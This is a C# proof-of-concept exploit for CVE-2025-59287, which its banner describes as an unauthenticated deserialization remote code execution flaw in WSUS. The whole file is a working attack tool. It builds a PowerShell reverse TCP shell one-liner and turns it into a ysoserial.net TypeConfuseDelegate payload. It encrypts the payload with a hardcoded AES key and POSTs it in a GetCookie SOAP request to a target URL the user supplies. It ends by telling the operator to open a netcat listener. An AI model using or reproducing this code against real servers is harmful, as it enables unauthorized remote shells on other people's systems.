exploit.cs

using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Security.Cryptography;
using System.Text;

class CVE_2025_59287_RevShelly_PoC
{
    static string AESKeyHex = "877C14E433638145AD21BD0C17393071";



    static void PrintFancyBanner()
    {
        Console.ForegroundColor = ConsoleColor.Magenta;
        Console.WriteLine(@"
  (`\ .-') /` .-')                  .-')            _  .-')               ('-.   
   `.( OO ),'( OO ).               ( OO ).         ( \( -O )            _(  OO)  
,--./  .--. (_)---\_) ,--. ,--.   (_)---\_)         ,------.   .-----. (,------. 
|      |  | /    _ |  |  | |  |   /    _ |    .-')  |   /`. ' '  .--./  |  .---' 
|  |   |  |,\  :` `.  |  | | .-') \  :` `.  _(  OO) |  /  | | |  |('-.  |  |     
|  |.'.|  |_)'..`''.) |  |_|( OO ) '..`''.)(,------.|  |_.' |/_) |OO  )(|  '--.  
|         | .-._)   \ |  | | `-' /.-._)   \ '------'|  .  '.'||  |`-'|  |  .--'  
|   ,'.   | \       /('  '-'(_.-' \       /         |  |\  \(_'  '--'\  |  `---. 
'--'   '--'  `-----'   `-----'     `-----'          `--' '--'  `-----'  `------' 

        CVE-2025-59287 WSUS RCE             
        Unauthenticated .NET Deserialization RCE Reverse Shell :)    
        Author: QurtiDev                     
   
      [>] Target: WSUS ClientWebService/Client.asmx
      [>] Gadget: TypeConfuseDelegate
      [>] Encryption: AES-CBC (Zero IV + Salt)
      [>] Shell: PowerShell Reverse TCP
        ");
        Console.ResetColor();
    }



    static void Main()
    {
        //Print the fancy banner
        PrintFancyBanner();

        // let's get the target info
        Console.Write("Give WSUS target URL (e.g https://target-wsus/ClientWebService/Client.asmx): ");
        string targetUrl = Console.ReadLine().Trim();


        //Local IP & Port for rev shell
        Console.Write("Enter your IP for reverse shell: ");
        string attackerIp = Console.ReadLine().Trim();
        Console.Write("Enter your port for reverse shell: ");
        string attackerPort = Console.ReadLine().Trim();



        // Generate reverse shell via pretty known one liner powershell cmd
        // More examples for ya <3 : https://github.com/samratashok/nishang  https://github.com/ivan-sincek/powershell-reverse-tcp
        string revShellCmd = $"$client=New-Object System.Net.Sockets.TCPClient('{attackerIp}',{attackerPort});$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{{0}};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){{;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()";

        Console.WriteLine("[Crafting serialized payload...");
        byte[] serializedPayload = GenerateYsoserialPayload(revShellCmd);

        Console.WriteLine("Wait a sec.. Encrypting payload...");
        byte[] key = HexStringToByteArray(AESKeyHex);
        byte[] encryptedPayload = EncryptPayload(serializedPayload, key);
        string base64Payload = Convert.ToBase64String(encryptedPayload);

        Console.WriteLine("[!]Sending exploit payload...");
        string soapRequest = BuildSoapRequest(base64Payload);

        HttpWebRequest req = (HttpWebRequest)WebRequest.Create(targetUrl);
        req.Method = "POST";
        req.ContentType = "text/xml; charset=utf-8";
        req.Headers.Add("SOAPAction", "\"\"");

        using (Stream stream = req.GetRequestStream())
        {
            byte[] dataBytes = Encoding.UTF8.GetBytes(soapRequest);
            stream.Write(dataBytes, 0, dataBytes.Length);
        }

        try
        {
            HttpWebResponse resp = (HttpWebResponse)req.GetResponse();
            using (var respStream = new StreamReader(resp.GetResponseStream()))
            {
                string responseText = respStream.ReadToEnd();
                Console.WriteLine("[*] Server Response:");
                Console.WriteLine(responseText);
            }
        }
        catch (WebException ex)
        {
            Console.WriteLine("[!] Got an error while sending request: " + ex.Message);
            if (ex.Response != null)
            {
                using (var errStream = new StreamReader(ex.Response.GetResponseStream()))
                {
                    Console.WriteLine("[!] Server returned:");
                    Console.WriteLine(errStream.ReadToEnd());
                }
            }
        }

        Console.WriteLine("[*] Nicely done. Make sure to listen on the IP and port your provided before for reverse shell. (Like nc -lvnp 4444)");
    }

    // This just converts hex string to byte array
    static byte[] HexStringToByteArray(string hex)
    {
        byte[] bytes = new byte[hex.Length / 2];
        for (int i = 0; i < bytes.Length; i++)
            bytes[i] = Convert.ToByte(hex.Substring(i * 2, 2), 16);
        return bytes;
    }

    // Encryption as per the PoC I used to learn about this 
    //Link: https://gist.github.com/hawktrace/880b54fb9c07ddb028baaae401bd3951
    static byte[] EncryptPayload(byte[] data, byte[] key)
    {
        using (var aes = new AesCryptoServiceProvider())
        {
            aes.Key = key;
            aes.Mode = CipherMode.CBC;
            aes.Padding = PaddingMode.None;
            aes.IV = new byte[16]; // zero IV

            byte[] salt = new byte[16];
            using (var rng = new RNGCryptoServiceProvider())
            {
                rng.GetNonZeroBytes(salt);
            }

            using (var encryptor = aes.CreateEncryptor())
            {
                int blockSize = encryptor.InputBlockSize;
                int remainder = data.Length % blockSize;
                int fullBlockLen = data.Length - remainder;

                byte[] result = new byte[blockSize + fullBlockLen + blockSize]; // salt + data + padded block

                encryptor.TransformBlock(salt, 0, salt.Length, result, 0);
                encryptor.TransformBlock(data, 0, fullBlockLen, result, salt.Length);

                byte[] padded = new byte[blockSize];
                Array.Copy(data, fullBlockLen, padded, 0, remainder);
                encryptor.TransformBlock(padded, 0, padded.Length, result, salt.Length + fullBlockLen);

                return result;
            }
        }
    }

    // Builds SOAP request XML for the CVE-2025-59287 
    static string BuildSoapRequest(string base64Payload)
    {
        string timestamp = DateTime.UtcNow.ToString("yyyy-MM-ddTHH:mm:ssZ");
        return $@"<?xml version=""1.0"" encoding=""utf-8""?>
<soap:Envelope xmlns:soap=""http://schemas.xmlsoap.org/soap/envelope/"" 
               xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"">
  <soap:Body>
    <GetCookie xmlns=""http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService"">
      <authCookies>
        <AuthorizationCookie>
          <PlugInId>SimpleTargeting</PlugInId>
          <CookieData>{base64Payload}</CookieData>
        </AuthorizationCookie>
      </authCookies>
      <oldCookie xsi:nil=""true""/>
      <lastChange>{timestamp}</lastChange>
      <currentTime>{timestamp}</currentTime>
      <protocolVersion>1.20</protocolVersion>
    </GetCookie>
  </soap:Body>
</soap:Envelope>";
    }

    // here we use ysoserial.net to gen serialized payload bytes for TypeConfuseDelegate gadget
    // 
    static byte[] GenerateYsoserialPayload(string command)
    {
        // Call ysoserial.net executable
        // assumes ysoserial.net.exe is in same directory
        // TODO: If it doesnt exist in the dir implement a way to get it
        string ysoserialPath = "ysoserial.exe";
        string args = $"-f BinaryFormatter -g TypeConfuseDelegate -c \"{command}\"";

        var proc = new Process();
        proc.StartInfo.FileName = ysoserialPath;
        proc.StartInfo.Arguments = args;
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.StartInfo.CreateNoWindow = true;
        proc.Start();

        MemoryStream ms = new MemoryStream();
        proc.StandardOutput.BaseStream.CopyTo(ms);

        proc.WaitForExit();

        return ms.ToArray();
    }
}